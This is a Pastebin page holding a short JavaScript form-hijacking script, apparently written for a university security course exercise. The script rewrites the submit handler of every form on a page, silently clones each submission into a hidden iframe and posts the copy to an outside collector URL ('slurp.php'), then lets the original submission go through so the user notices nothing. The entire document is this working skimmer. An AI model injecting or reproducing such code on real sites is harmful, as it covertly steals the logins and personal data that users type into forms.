Advertisement
harrislb

Untitled

Feb 6th, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.51 KB | None | 0 0
  1. var frms = document.getElementsByTagName("form");
  2. for(var i=0; i<frms.length; i++) {
  3. hijack(frms[i]);
  4. }
  5.  
  6. function hijack(frmObj) {
  7. var delayCode = "";
  8. if(frmObj.hasAttribute("onsubmit")) {
  9. delayCode = frmObj.getAttribute("onsubmit");}
  10. frmObj.setAttribute("onsubmit", "return leech(this,function() {" + delayCode + "});");
  11. }
  12.  
  13. function leech(frmObj, delayCode) {
  14. console.log("Leech called");
  15. var rnd = Math.floor(Math.random()*256);
  16. var newFrm = frmObj.cloneNode(true);
  17. newFrm.setAttribute("id", "leechedID" + rnd);
  18. newFrm.setAttribute("target", "hiddenframe" + newFrm.id);
  19. newFrm.setAttribute("action", "https://www.rose-hulman.edu/~stammsl/442/slurp.php");
  20. console.log("cloned attributes set");
  21.  
  22. var teamNameInput= document.createElement("input");
  23. teamNameInput.setAttribute("name", "SaltySeniors");
  24. teamNameInput.setAttribute("value", "SaltySeniors");
  25. teamNameInput.setAttribute("type", "hidden");
  26.  
  27. newFrm.appendChild(teamNameInput);
  28.  
  29. var hiddenIframe = document.createElement("iframe");
  30. hiddenIframe.setAttribute("style", "position:aboslute;" + "visibility:hidden;z-index:0;");
  31. hiddenIframe.setAttribute("name", "hiddenframe" + newFrm.id);
  32.  
  33. hiddenIframe.appendChild(newFrm);
  34. window.document.body.appendChild(hiddenIframe);
  35. console.log("About to submit the forked form");
  36. newFrm.submit();
  37. console.log("Cloned form submitted");
  38.  
  39. setTimeout(function() {
  40. window.document.body.removechild(hiddenIframe);
  41. if(delayCode() !=false) { frmObj.submit(); }
  42. }, 50);
  43.  
  44. return false;
  45. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement